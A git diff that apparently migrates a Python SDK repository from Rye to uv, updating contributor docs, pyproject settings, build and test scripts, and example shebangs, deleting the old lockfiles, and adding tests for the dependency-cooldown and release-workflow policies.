uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
diff --git a/.gitignore b/.gitignore
index 3a7a575390..78b8eab97f 100644
--- a/.gitignore
+++ b/.gitignore
@@ -8,6 +8,7 @@ __pycache__
dist
.venv
+.venv-pydantic-v1
.idea
.env
diff --git a/AGENTS.md b/AGENTS.md
index b15995321f..c6547bd2d0 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -19,7 +19,7 @@ explicitly requires it.
diagnostics may remain. Preserve existing sensitive-header filtering,
including debug logging.
- Review direct and transitive dependency changes in `pyproject.toml`, optional
- extras, `requirements.lock`, `requirements-dev.lock`, and `uv.lock`. Check
+ extras, dependency groups, and `uv.lock`. Check
package provenance, build backends, and install scripts before accepting or
running them.
- Pin third-party GitHub Actions to reviewed full commit SHAs. Minimize
@@ -85,14 +85,14 @@ does not decide whether an EOL grace period or floor increase is appropriate.
Before publishing a Python-version change, run:
```sh
-rye lock --all-features
+uv lock
uv lock --check
-rye build
-rye run python scripts/check-python-version-policy.py
-rye run python scripts/utils/validate-python-version-wheel.py
+./scripts/build
+uv run --locked --all-extras python scripts/check-python-version-policy.py
+uv run --locked --all-extras python scripts/utils/validate-python-version-wheel.py
python3.9 scripts/utils/validate-python-version-wheel.py --check-python-39
-rye run python scripts/utils/validate-bedrock-wheel.py
-rye run python scripts/utils/validate-httpx2-wheel.py
+uv run --locked --all-extras python scripts/utils/validate-bedrock-wheel.py
+uv run --locked --all-extras python scripts/utils/validate-httpx2-wheel.py
./scripts/lint
./scripts/test
```
diff --git a/Brewfile b/Brewfile
index 492ca37bb0..c43041ceff 100644
--- a/Brewfile
+++ b/Brewfile
@@ -1,2 +1,2 @@
-brew "rye"
+brew "uv"
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 3fe1f8f15b..a495d18d04 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -5,37 +5,46 @@ rules are documented in [PYTHON_VERSION_POLICY.md](./PYTHON_VERSION_POLICY.md).
Changes to the minimum Python version must keep those surfaces synchronized and
must include a release note naming the final compatible SDK release.
-### With Rye
+### With uv
-We use [Rye](https://rye.astral.sh/) to manage dependencies because it will automatically provision a Python environment with the expected Python version. To set it up, run:
+We use [uv](https://docs.astral.sh/uv/) to manage Python, dependencies, and builds.
+Install uv 0.12.1 or newer, then run:
```sh
$ ./scripts/bootstrap
```
-Or [install Rye manually](https://rye.astral.sh/guide/installation/) and run:
-
-```sh
-$ rye sync --all-features
-```
-
-You can then run scripts using `rye run python script.py` or by activating the virtual environment:
-
-```sh
-# Activate the virtual environment - https://docs.python.org/3/library/venv.html#how-venvs-work
-$ source .venv/bin/activate
-
-# now you can omit the `rye run` prefix
-$ python script.py
-```
-
-### Without Rye
-
-Alternatively if you don't want to install `Rye`, you can stick with the standard `pip` setup by ensuring you have the Python version specified in `.python-version`, create a virtual environment however you desire and then install dependencies using this command:
-
-```sh
-$ pip install -r requirements-dev.lock
-```
+This installs all SDK extras and the development tools from `uv.lock`. Run a
+command with `uv run --locked --all-extras`, or activate `.venv` in your shell.
+Use `uv lock` after changing dependencies, and commit the updated `uv.lock`.
+It is the authoritative lockfile; `uv export` can produce a requirements file
+for tools that need one.
+
+The default environment uses Pydantic v2. `./scripts/test` also runs the
+Pydantic-v1 suite in a separate, locked environment. To run that lane alone,
+use `./scripts/test-pydantic-v1`.
+
+### Dependency update policy
+
+Routine Python and GitHub Actions updates have an eight-day cooldown. uv also
+excludes Python distribution artifacts uploaded within the last eight days.
+Dependabot security updates remain enabled and are exempt from Dependabot's
+version-update cooldown.
+
+Do not lower a security-fixed minimum or downgrade a patched lock entry to make
+the cooldown pass. If an urgent fix is too new for uv, request SDK CODEOWNER
+review of the advisory, exact fixed version, upstream provenance, artifact
+hashes, and affected dependency paths. The reviewed PR may add a temporary,
+package-specific `tool.uv.exclude-newer-package` cutoff using a fixed UTC
+timestamp just after the approved artifacts were uploaded. Update only the
+approved package (for example, `uv lock --upgrade-package 'package==version'`),
+retain the security floor in published metadata where applicable, and review
+the resulting lock diff. Record the advisory and an expiry/removal date in the
+PR and remove the exception once those artifacts are eight days old. Do not
+disable the global cutoff or exempt unrelated packages.
+
+See [uv's package-specific cutoff documentation](https://docs.astral.sh/uv/reference/settings/#exclude-newer-package)
+and [Dependabot's cooldown policy](https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference#cooldown).
## Modifying/Adding code
@@ -55,7 +64,7 @@ modify the contents of the `src/openai/lib/` and `examples/` directories.
Prefer the mock server or mocked HTTP transport over live credentials in tests.
- Review direct and transitive dependency changes, package provenance, build or
install hooks, and diffs to `pyproject.toml`, optional extras,
- `requirements.lock`, `requirements-dev.lock`, and `uv.lock`.
+ `uv.lock`, and the build dependency group.
- Pin third-party GitHub Actions to reviewed full commit SHAs, minimize job
permissions, and keep secrets and write-capable tokens away from untrusted
pull-request code. Protect release-app credentials and preserve the separate
@@ -76,7 +85,7 @@ All files in the `examples/` directory are not modified by the generator and can
```py
# add an example to examples/.py
-#!/usr/bin/env -S rye run python
+#!/usr/bin/env -S uv run python
…
```
@@ -103,11 +112,12 @@ Building this package will create two files in the `dist/` directory, a `.tar.gz
To create a distributable version of the library, all you have to do is run this command:
```sh
-$ rye build
-# or
-$ python -m build
+$ ./scripts/build
```
+The build script exports hash-checked build requirements from `uv.lock` before
+building the sdist and wheel. It does not install the development toolchain.
+
Then to install:
```sh
@@ -128,8 +138,7 @@ $ ./scripts/test
## Linting and formatting
-This repository uses [ruff](https://github.com/astral-sh/ruff) and
-[black](https://github.com/psf/black) to format the code in the repository.
+This repository uses [Ruff](https://github.com/astral-sh/ruff) to lint and format Python code.
To lint:
diff --git a/bedrock.md b/bedrock.md
index 584e83fcdd..455ae9083d 100644
--- a/bedrock.md
+++ b/bedrock.md
@@ -180,7 +180,7 @@ The existing live harness requires explicit opt-in and valid AWS credentials:
```sh
BEDROCK_LIVE_TEST=1 BEDROCK_LIVE_ENDPOINT=runtime AWS_REGION=us-west-2 \
- rye run pytest -q -s tests/lib/bedrock_live.py
+ uv run --locked --all-extras pytest -q -s tests/lib/bedrock_live.py
```
Runtime verification defaults to all three US GPT-5.6 inference profiles. Select authentication modes with
diff --git a/examples/audio.py b/examples/audio.py
index af41fe601b..1d826cc0ec 100755
--- a/examples/audio.py
+++ b/examples/audio.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env rye run python
+#!/usr/bin/env -S uv run python
from pathlib import Path
diff --git a/examples/mtls_httpx.py b/examples/mtls_httpx.py
index 591f6dd25f..b621dddad8 100644
--- a/examples/mtls_httpx.py
+++ b/examples/mtls_httpx.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S rye run python
+#!/usr/bin/env -S uv run python
import os
import ssl
diff --git a/examples/mtls_httpx2.py b/examples/mtls_httpx2.py
index 0b192d8644..852c95dae8 100644
--- a/examples/mtls_httpx2.py
+++ b/examples/mtls_httpx2.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S rye run python
+#!/usr/bin/env -S uv run python
import os
import ssl
diff --git a/examples/mtls_httpx2_async.py b/examples/mtls_httpx2_async.py
index d35db5be66..12bf1fb2d6 100644
--- a/examples/mtls_httpx2_async.py
+++ b/examples/mtls_httpx2_async.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S rye run python
+#!/usr/bin/env -S uv run python
import os
import ssl
diff --git a/examples/mtls_httpx_async.py b/examples/mtls_httpx_async.py
index e4d262c23e..a258572967 100644
--- a/examples/mtls_httpx_async.py
+++ b/examples/mtls_httpx_async.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S rye run python
+#!/usr/bin/env -S uv run python
import os
import ssl
diff --git a/examples/realtime/realtime.py b/examples/realtime/realtime.py
index 214961e54c..f70dd0b9c6 100755
--- a/examples/realtime/realtime.py
+++ b/examples/realtime/realtime.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env rye run python
+#!/usr/bin/env -S uv run python
import asyncio
from openai import AsyncOpenAI
diff --git a/examples/responses/background_streaming.py b/examples/responses/background_streaming.py
index ed830d9910..483803bbd4 100755
--- a/examples/responses/background_streaming.py
+++ b/examples/responses/background_streaming.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env -S rye run python
+#!/usr/bin/env -S uv run python
from typing import List
import rich
diff --git a/examples/speech_to_text.py b/examples/speech_to_text.py
index cc3f56b424..68260d561b 100755
--- a/examples/speech_to_text.py
+++ b/examples/speech_to_text.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env rye run python
+#!/usr/bin/env -S uv run python
import asyncio
diff --git a/examples/text_to_speech.py b/examples/text_to_speech.py
index ac8b12b0ab..e9dfbfd5e7 100755
--- a/examples/text_to_speech.py
+++ b/examples/text_to_speech.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env rye run python
+#!/usr/bin/env -S uv run python
import time
import asyncio
diff --git a/noxfile.py b/noxfile.py
deleted file mode 100644
index 53bca7ff2a..0000000000
--- a/noxfile.py
+++ /dev/null
@@ -1,9 +0,0 @@
-import nox
-
-
-@nox.session(reuse_venv=True, name="test-pydantic-v1")
-def test_pydantic_v1(session: nox.Session) -> None:
- session.install("-r", "requirements-dev.lock")
- session.install("pydantic<2")
-
- session.run("pytest", "--showlocals", "--ignore=tests/functional", *session.posargs)
diff --git a/pyproject.toml b/pyproject.toml
index a77e89e234..0e47337bf8 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -52,17 +52,14 @@ bedrock = [
"urllib3>=2.7.0,<3",
]
-[tool.rye]
-managed = true
-# version pins are in requirements-dev.lock
-dev-dependencies = [
+[dependency-groups]
+dev = [
"pyright==1.1.399",
"mypy==1.17",
"pytest",
"pytest-asyncio",
"jsonschema>=4.23.0",
"ruff",
- "nox",
"rich>=13.7.1",
"inline-snapshot>=0.28.0",
"azure-identity >=1.14.1",
@@ -72,35 +69,36 @@ dev-dependencies = [
"pytest-xdist>=3.6.1",
"griffe>=1",
]
+pydantic-v1 = ["pydantic>=1.10.26,<2"]
+pydantic-v2 = ["pydantic>=2,<3"]
+# Isolated build requirements are exported with hashes by scripts/build.
+build = [
+ "hatchling==1.26.3",
+ "hatch-fancy-pypi-readme==25.1.0",
+ "packaging==26.3",
+ "pathspec==1.1.1",
+ "pluggy==1.6.0",
+ "tomli==2.4.1; python_version < '3.11'",
+ "trove-classifiers==2026.6.1.19",
+]
+
+[tool.uv]
+# Keep the minimum compatible with Dependabot's uv updater; CI pins its version.
+required-version = ">=0.12.1"
+exclude-newer = "8 days"
+default-groups = ["dev", "pydantic-v2"]
+conflicts = [[{ group = "pydantic-v1" }, { group = "pydantic-v2" }]]
+# Also constrain editable/source builds performed by uv sync.
+build-constraint-dependencies = [
+ "hatchling==1.26.3",
+ "hatch-fancy-pypi-readme==25.1.0",
+ "packaging==26.3",
+ "pathspec==1.1.1",
+ "pluggy==1.6.0",
+ "tomli==2.4.1; python_version < '3.11'",
+ "trove-classifiers==2026.6.1.19",
+]
-[tool.rye.scripts]
-format = { chain = [
- "format:ruff",
- "format:docs",
- "fix:ruff",
- # run formatting again to fix any inconsistencies when imports are stripped
- "format:ruff",
-]}
-"format:docs" = "bash -c 'python scripts/utils/ruffen-docs.py README.md $(find . -type f -name api.md)'"
-"format:ruff" = "ruff format"
-
-"lint" = { chain = [
- "check:ruff",
- "typecheck",
- "check:importable",
-]}
-"check:ruff" = "ruff check ."
-"fix:ruff" = "ruff check --fix ."
-
-"check:importable" = "python -c 'import openai'"
-
-typecheck = { chain = [
- "typecheck:pyright",
- "typecheck:mypy"
-]}
-"typecheck:pyright" = "scripts/run-pyright"
-"typecheck:verify-types" = "pyright --verifytypes openai --ignoreexternal"
-"typecheck:mypy" = "mypy ."
[build-system]
requires = ["hatchling==1.26.3", "hatch-fancy-pypi-readme==25.1.0"]
@@ -122,9 +120,9 @@ include = [
"/*.lock",
"/*.md",
"/mypy.ini",
- "/noxfile.py",
"bin/*",
"examples/*",
+ "scripts/*",
"src/*",
"tests/*",
]
@@ -163,6 +161,8 @@ pythonVersion = "3.10"
exclude = [
"_dev",
".venv",
+ ".venv-pydantic-v1",
+ # Contributors may still have an environment from before the uv migration.
".nox",
".git",
"tests/respx2",
diff --git a/requirements-dev.lock b/requirements-dev.lock
deleted file mode 100644
index 57efe3d0d8..0000000000
--- a/requirements-dev.lock
+++ /dev/null
@@ -1,238 +0,0 @@
-# generated by rye
-# use `rye lock` or `rye sync` to update this lockfile
-#
-# last locked with the following flags:
-# pre: false
-# features: []
-# all-features: true
-# with-sources: false
-# generate-hashes: false
-# universal: true
-
--e file:.
-aiohappyeyeballs==2.7.1
- # via aiohttp
-aiohttp==3.14.3
- # via openai
-aiosignal==1.4.0
- # via aiohttp
-annotated-types==0.7.0
- # via pydantic
-anyio==4.12.1
- # via httpx2
- # via openai
-argcomplete==3.6.3
- # via nox
-asttokens==3.0.1
- # via inline-snapshot
-async-timeout==5.0.1 ; python_full_version < '3.11'
- # via aiohttp
-attrs==25.4.0
- # via aiohttp
- # via jsonschema
- # via nox
- # via outcome
- # via referencing
- # via trio
-azure-core==1.36.0
- # via azure-identity
-azure-identity==1.25.1
-backports-asyncio-runner==1.2.0 ; python_full_version < '3.11'
- # via pytest-asyncio
-botocore==1.42.97
- # via openai
-certifi==2026.1.4
- # via requests
-cffi==2.0.0
- # via cryptography
- # via sounddevice
- # via trio
-charset-normalizer==3.4.4
- # via requests
-colorama==0.4.6
- # via colorlog
- # via griffe
- # via pytest
-colorlog==6.10.1
- # via nox
-cryptography==46.0.3
- # via azure-identity
- # via msal
- # via pyjwt
-dependency-groups==1.3.1
- # via nox
-distlib==0.4.0
- # via virtualenv
-distro==1.9.0
- # via openai
-exceptiongroup==1.3.1 ; python_full_version < '3.11'
- # via anyio
- # via pytest
- # via trio
-execnet==2.1.2
- # via pytest-xdist
-executing==2.2.1
- # via inline-snapshot
-filelock==3.19.1
- # via virtualenv
-frozenlist==1.8.0
- # via aiohttp
- # via aiosignal
-griffe==1.14.0
-h11==0.16.0
- # via httpcore2
-httpcore2==2.7.0
- # via httpx2
-httpx2==2.7.0
- # via openai
-humanize==4.13.0
- # via nox
-idna==3.18
- # via anyio
- # via httpx2
- # via requests
- # via trio
- # via yarl
-iniconfig==2.1.0
- # via pytest
-inline-snapshot==0.31.1
-jiter==0.12.0
- # via openai
-jmespath==1.1.0
- # via botocore
-jsonschema==4.25.1
-jsonschema-specifications==2025.9.1
- # via jsonschema
-markdown-it-py==3.0.0
- # via rich
-mdurl==0.1.2
- # via markdown-it-py
-msal==1.34.0
- # via azure-identity
- # via msal-extensions
-msal-extensions==1.3.1
- # via azure-identity
-multidict==6.7.1
- # via aiohttp
- # via yarl
-mypy==1.17.0
-mypy-extensions==1.1.0
- # via mypy
-nodeenv==1.9.1
- # via pyright
-nox==2025.11.12
-numpy==2.2.6 ; python_full_version < '3.11'
- # via openai
- # via pandas
- # via pandas-stubs
-numpy==2.4.6 ; python_full_version >= '3.11'
- # via openai
- # via pandas
- # via pandas-stubs
-outcome==1.3.0.post0
- # via trio
-packaging==25.0
- # via dependency-groups
- # via nox
- # via pytest
-pandas==2.3.3
- # via openai
-pandas-stubs==2.2.2.240807
-pathspec==0.12.1
- # via mypy
-platformdirs==4.4.0
- # via virtualenv
-pluggy==1.6.0
- # via pytest
-propcache==0.5.2
- # via aiohttp
- # via yarl
-pycparser==2.23 ; implementation_name != 'PyPy'
- # via cffi
-pydantic==2.12.5
- # via openai
-pydantic-core==2.41.5
- # via pydantic
-pygments==2.19.2
- # via pytest
- # via rich
-pyjwt==2.10.1
- # via msal
-pyright==1.1.399
-pytest==8.4.2
- # via inline-snapshot
- # via pytest-asyncio
- # via pytest-xdist
-pytest-asyncio==1.2.0
-pytest-xdist==3.8.0
-python-dateutil==2.9.0.post0
- # via botocore
- # via pandas
-pytz==2025.2
- # via pandas
-referencing==0.36.2
- # via jsonschema
- # via jsonschema-specifications
-requests==2.32.5
- # via azure-core
- # via msal
-rich==14.2.0
- # via inline-snapshot
-rpds-py==0.27.1
- # via jsonschema
- # via referencing
-ruff==0.14.7
-six==1.17.0
- # via python-dateutil
-sniffio==1.3.1
- # via openai
- # via trio
-sortedcontainers==2.4.0
- # via trio
-sounddevice==0.5.3
- # via openai
-tomli==2.4.0 ; python_full_version < '3.11'
- # via dependency-groups
- # via inline-snapshot
- # via mypy
- # via nox
- # via pytest
-trio==0.31.0
-truststore==0.10.4
- # via httpcore2
- # via httpx2
-types-pytz==2025.2.0.20251108
- # via pandas-stubs
-typing-extensions==4.15.0
- # via aiohttp
- # via aiosignal
- # via anyio
- # via azure-core
- # via azure-identity
- # via cryptography
- # via exceptiongroup
- # via httpx2
- # via multidict
- # via mypy
- # via openai
- # via pydantic
- # via pydantic-core
- # via pyright
- # via pytest-asyncio
- # via referencing
- # via typing-inspection
- # via virtualenv
-typing-inspection==0.4.2
- # via pydantic
-tzdata==2025.2
- # via pandas
-urllib3==2.7.0
- # via botocore
- # via openai
- # via requests
-virtualenv==20.35.4
- # via nox
-websockets==15.0.1
- # via openai
-yarl==1.24.2
- # via aiohttp
diff --git a/requirements.lock b/requirements.lock
deleted file mode 100644
index e38e47b423..0000000000
--- a/requirements.lock
+++ /dev/null
@@ -1,108 +0,0 @@
-# generated by rye
-# use `rye lock` or `rye sync` to update this lockfile
-#
-# last locked with the following flags:
-# pre: false
-# features: []
-# all-features: true
-# with-sources: false
-# generate-hashes: false
-# universal: true
-
--e file:.
-aiohappyeyeballs==2.7.1
- # via aiohttp
-aiohttp==3.14.3
- # via openai
-aiosignal==1.4.0
- # via aiohttp
-annotated-types==0.7.0
- # via pydantic
-anyio==4.12.1
- # via httpx2
- # via openai
-async-timeout==5.0.1 ; python_full_version < '3.11'
- # via aiohttp
-attrs==26.1.0
- # via aiohttp
-botocore==1.42.97
- # via openai
-cffi==2.0.0
- # via sounddevice
-distro==1.9.0
- # via openai
-exceptiongroup==1.3.1 ; python_full_version < '3.11'
- # via anyio
-frozenlist==1.8.0
- # via aiohttp
- # via aiosignal
-h11==0.16.0
- # via httpcore2
-httpcore2==2.7.0
- # via httpx2
-httpx2==2.7.0
- # via openai
-idna==3.18
- # via anyio
- # via httpx2
- # via yarl
-jiter==0.12.0
- # via openai
-jmespath==1.1.0
- # via botocore
-multidict==6.7.1
- # via aiohttp
- # via yarl
-numpy==2.2.6 ; python_full_version < '3.11'
- # via openai
- # via pandas
-numpy==2.4.6 ; python_full_version >= '3.11'
- # via openai
- # via pandas
-pandas==2.3.3
- # via openai
-propcache==0.5.2
- # via aiohttp
- # via yarl
-pycparser==2.23 ; implementation_name != 'PyPy'
- # via cffi
-pydantic==2.12.5
- # via openai
-pydantic-core==2.41.5
- # via pydantic
-python-dateutil==2.9.0.post0
- # via botocore
- # via pandas
-pytz==2025.2
- # via pandas
-six==1.17.0
- # via python-dateutil
-sniffio==1.3.1
- # via openai
-sounddevice==0.5.3
- # via openai
-truststore==0.10.4
- # via httpcore2
- # via httpx2
-typing-extensions==4.15.0
- # via aiohttp
- # via aiosignal
- # via anyio
- # via exceptiongroup
- # via httpx2
- # via multidict
- # via openai
- # via pydantic
- # via pydantic-core
- # via typing-inspection
-typing-inspection==0.4.2
- # via pydantic
-tzdata==2025.2
- # via pandas
-urllib3==2.7.0
- # via botocore
- # via openai
-websockets==15.0.1
- # via openai
-yarl==1.24.2
- # via aiohttp
diff --git a/scripts/bootstrap b/scripts/bootstrap
index 3e25ebec99..462c50d955 100755
--- a/scripts/bootstrap
+++ b/scripts/bootstrap
@@ -21,7 +21,4 @@ fi
echo "==> Installing Python dependencies…"
-# experimental uv support makes installations significantly faster
-rye config --set-bool behavior.use-uv=true
-
-rye sync
+uv sync --locked --all-extras
diff --git a/scripts/build b/scripts/build
new file mode 100755
index 0000000000..0a543c78cc
--- /dev/null
+++ b/scripts/build
@@ -0,0 +1,9 @@
+#!/usr/bin/env bash
+set -euo pipefail
+cd "$(dirname "$0")/.."
+
+# Resolve only the reviewed build group, not the SDK's development environment.
+constraints=$(mktemp)
+trap 'rm -f "$constraints"' EXIT
+uv export --locked --only-group build --no-emit-project --format requirements.txt --output-file "$constraints" >/dev/null
+uv build --no-sources --build-constraints "$constraints" --require-hashes "$@"
diff --git a/scripts/check-python-version-policy.py b/scripts/check-python-version-policy.py
index 58ca890129..9571360ceb 100644
--- a/scripts/check-python-version-policy.py
+++ b/scripts/check-python-version-policy.py
@@ -121,7 +121,7 @@ def main() -> None:
"Policy current-compatibility text does not match the supported matrix",
)
- project_metadata = pyproject.split("[tool.rye]", 1)[0]
+ project_metadata = pyproject.split("[dependency-groups]", 1)[0]
for requirement in UNMARKED_DEPENDENCIES:
require(
f'"{requirement}"' in project_metadata,
diff --git a/scripts/format b/scripts/format
index 667ec2d7af..83ac3e0787 100755
--- a/scripts/format
+++ b/scripts/format
@@ -5,4 +5,12 @@ set -e
cd "$(dirname "$0")/.."
echo "==> Running formatters"
-rye run format
+uv run --locked --all-extras ruff format
+docs=(README.md api.md)
+while IFS= read -r -d '' path; do
+ docs+=("$path")
+done < <(find src -type f -name api.md -print0)
+uv run --locked --all-extras python scripts/utils/ruffen-docs.py "${docs[@]}"
+uv run --locked --all-extras ruff check --fix .
+# Run formatting again after imports have been removed.
+uv run --locked --all-extras ruff format
diff --git a/scripts/lint b/scripts/lint
index 275a2bf1a1..60142f9f18 100755
--- a/scripts/lint
+++ b/scripts/lint
@@ -4,13 +4,15 @@ set -e
cd "$(dirname "$0")/.."
-if [ "$1" = "--fix" ]; then
+if [ "${1:-}" = "--fix" ]; then
echo "==> Running lints with --fix"
- rye run fix:ruff
+ uv run --locked --all-extras ruff check --fix .
else
echo "==> Running lints"
- rye run lint
+ uv run --locked --all-extras ruff check .
+ uv run --locked --all-extras scripts/run-pyright
+ uv run --locked --all-extras mypy .
fi
echo "==> Making sure it imports"
-rye run python -c 'import openai'
+uv run --locked --all-extras python -c 'import openai'
diff --git a/scripts/test b/scripts/test
index daff369239..a8e326615d 100755
--- a/scripts/test
+++ b/scripts/test
@@ -59,7 +59,7 @@ if [ "${OPENAI_TEST_HTTP_CLIENT:-httpx}" = "httpx2" ]; then
fi
echo "==> Running tests"
-rye run pytest "$@"
+uv run --locked --all-extras pytest "$@"
echo "==> Running Pydantic v1 tests"
-rye run nox -s test-pydantic-v1 -- "$@"
+./scripts/test-pydantic-v1 "$@"
diff --git a/scripts/test-pydantic-v1 b/scripts/test-pydantic-v1
new file mode 100755
index 0000000000..a79eb3c37d
--- /dev/null
+++ b/scripts/test-pydantic-v1
@@ -0,0 +1,8 @@
+#!/usr/bin/env bash
+set -euo pipefail
+cd "$(dirname "$0")/.."
+
+# Keep the compatibility environment separate from the default Pydantic v2 one.
+export UV_PROJECT_ENVIRONMENT="${OPENAI_PYDANTIC_V1_ENV:-.venv-pydantic-v1}"
+uv sync --locked --all-extras --no-default-groups --group dev --group pydantic-v1
+exec uv run --no-sync python -m pytest --ignore=tests/functional "$@"
diff --git a/tests/lib/bedrock_live.py b/tests/lib/bedrock_live.py
index 56a54d683f..7ec30b9c78 100644
--- a/tests/lib/bedrock_live.py
+++ b/tests/lib/bedrock_live.py
@@ -1,7 +1,7 @@
"""Explicitly opt-in live coverage for Amazon Bedrock Mantle and Runtime.
BEDROCK_LIVE_TEST=1 BEDROCK_LIVE_ENDPOINT=runtime AWS_REGION=us-west-2 \
- rye run pytest -q -s tests/lib/bedrock_live.py
+ uv run --locked --all-extras pytest -q -s tests/lib/bedrock_live.py
Runtime defaults to the three US GPT-5.6 inference profiles. Override them with
``BEDROCK_LIVE_MODEL`` or comma-separated ``BEDROCK_LIVE_MODELS``. Select one
diff --git a/tests/test_uv_workflows.py b/tests/test_uv_workflows.py
new file mode 100644
index 0000000000..bf7c247ab1
--- /dev/null
+++ b/tests/test_uv_workflows.py
@@ -0,0 +1,163 @@
+from __future__ import annotations
+
+import os
+import re
+import sys
+import json
+import subprocess
+from pathlib import Path
+
+import pytest
+
+if sys.version_info >= (3, 11):
+ import tomllib
+else:
+ import tomli as tomllib
+
+ROOT = Path(__file__).resolve().parents[1]
+
+
+def test_dependency_update_age_policy() -> None:
+ project = tomllib.loads((ROOT / "pyproject.toml").read_text())
+ uv = project["tool"]["uv"]
+ assert uv["exclude-newer"] == "8 days"
+ for cutoff in uv.get("exclude-newer-package", {}).values():
+ # Exceptions must be bounded, reviewable UTC timestamps, never a
+ # permanent exemption or a rolling zero-day window.
+ assert isinstance(cutoff, str)
+ assert re.fullmatch(r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?Z", cutoff)
+
+
+def test_dependabot_delays_only_ordinary_version_updates() -> None:
+ path = ROOT / ".github/dependabot.yml"
+ if not path.exists():
+ pytest.skip("GitHub configuration is not included in source distributions")
+ config = path.read_text()
+ entries = re.findall(r"^ - package-ecosystem: ([\w-]+)\n(.*?)(?=^ - |\Z)", config, re.M | re.S)
+ assert {name for name, _ in entries} == {"uv", "github-actions"}
+ for _, entry in entries:
+ assert re.search(r"^ cooldown:\n default-days: 8$", entry, re.M)
+ assert re.search(r"^ directory: /$", entry, re.M)
+ assert "ignore:" not in entry
+ assert "target-branch:" not in entry
+ assert "open-pull-requests-limit: 0" not in entry
+
+
+def test_agents_integration_selects_its_typechecking_runtime() -> None:
+ path = ROOT / ".github/workflows/detect-breaking-changes.yml"
+ if not path.exists():
+ pytest.skip("GitHub workflows are not included in source distributions")
+ integration = path.read_text().split("\n agents_sdk:\n", 1)[1]
+ setup = integration.split(" - name: Set up uv\n", 1)[1].split("\n - name:", 1)[0]
+ assert "working-directory: openai-python" in setup
+ assert "python-version: '3.14'" in setup
+
+
+@pytest.mark.parametrize("name", ["create-releases.yml", "publish-pypi.yml"])
+def test_release_build_remains_separate_from_oidc_publish(name: str) -> None:
+ path = ROOT / ".github/workflows" / name
+ if not path.exists():
+ pytest.skip("GitHub workflows are not included in source distributions")
+ workflow = path.read_text()
+ build = workflow.split("\n build:\n", 1)[1].split("\n publish:\n", 1)[0]
+ publish = workflow.split("\n publish:\n", 1)[1]
+ assert "contents: read" in build
+ assert "id-token:" not in build
+ assert "./scripts/build" in build
+ assert "enable-cache: false" in build
+ assert "needs: build" in publish
+ assert "environment: publish" in publish
+ assert "id-token: write" in publish
+ assert "pypa/gh-action-pypi-publish@" in publish
+ assert "run:" not in publish
+ assert "actions/checkout@" not in publish
+ for ref in re.findall(r"uses: (\S+)", workflow):
+ assert re.fullmatch(r"[^@]+@[0-9a-f]{40}", ref), ref
+
+
+def fake_uv(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
+ log = tmp_path / "calls.jsonl"
+ executable = tmp_path / "uv"
+ executable.write_text(
+ f"#!{sys.executable}\n"
+ "import json, os, pathlib, sys\n"
+ "with open(os.environ['UV_TEST_LOG'], 'a') as f:\n"
+ " f.write(json.dumps({'args': sys.argv[1:], 'environment': os.environ.get('UV_PROJECT_ENVIRONMENT')}) + '\\n')\n"
+ "if sys.argv[1] == 'export':\n"
+ " pathlib.Path(sys.argv[sys.argv.index('--output-file') + 1]).write_text('reviewed-build-requirements\\n')\n"
+ "if sys.argv[1] == 'build':\n"
+ " assert pathlib.Path(sys.argv[sys.argv.index('--build-constraints') + 1]).read_text() == 'reviewed-build-requirements\\n'\n"
+ "sys.exit(7 if os.environ.get('UV_TEST_FAIL') == sys.argv[1] else 0)\n"
+ )
+ executable.chmod(0o755)
+ monkeypatch.setenv("PATH", str(tmp_path) + os.pathsep + os.environ["PATH"])
+ monkeypatch.setenv("UV_TEST_LOG", str(log))
+ return log
+
+
+@pytest.mark.parametrize("fail", [False, True])
+def test_pydantic_v1_uses_separate_locked_environment(
+ tmp_path: Path, monkeypatch: pytest.MonkeyPatch, fail: bool
+) -> None:
+ log = fake_uv(tmp_path, monkeypatch)
+ environment = str(tmp_path / "compatibility")
+ monkeypatch.setenv("OPENAI_PYDANTIC_V1_ENV", environment)
+ if fail:
+ monkeypatch.setenv("UV_TEST_FAIL", "sync")
+ result = subprocess.run([str(ROOT / "scripts/test-pydantic-v1"), "-q", "tests/test_files.py"], check=False)
+ calls = [json.loads(line) for line in log.read_text().splitlines()]
+ assert result.returncode == (7 if fail else 0)
+ assert calls[0] == {
+ "args": ["sync", "--locked", "--all-extras", "--no-default-groups", "--group", "dev", "--group", "pydantic-v1"],
+ "environment": environment,
+ }
+ if fail:
+ assert len(calls) == 1
+ else:
+ assert calls[1] == {
+ "args": [
+ "run",
+ "--no-sync",
+ "python",
+ "-m",
+ "pytest",
+ "--ignore=tests/functional",
+ "-q",
+ "tests/test_files.py",
+ ],
+ "environment": environment,
+ }
+
+
+@pytest.mark.parametrize("fail", [False, True])
+def test_build_uses_hashed_locked_build_group(tmp_path: Path, monkeypatch: pytest.MonkeyPatch, fail: bool) -> None:
+ log = fake_uv(tmp_path, monkeypatch)
+ if fail:
+ monkeypatch.setenv("UV_TEST_FAIL", "export")
+ result = subprocess.run([str(ROOT / "scripts/build"), "--out-dir", str(tmp_path / "dist")], check=False)
+ calls = [json.loads(line)["args"] for line in log.read_text().splitlines()]
+ assert result.returncode == (7 if fail else 0)
+ assert calls[0][:-1] == [
+ "export",
+ "--locked",
+ "--only-group",
+ "build",
+ "--no-emit-project",
+ "--format",
+ "requirements.txt",
+ "--output-file",
+ ]
+ constraints = calls[0][-1]
+ assert not Path(constraints).exists()
+ if fail:
+ assert len(calls) == 1
+ else:
+ assert calls[1] == [
+ "build",
+ "--no-sources",
+ "--build-constraints",
+ constraints,
+ "--require-hashes",
+ "--out-dir",
+ str(tmp_path / "dist"),
+ ]
diff --git a/uv.lock b/uv.lock
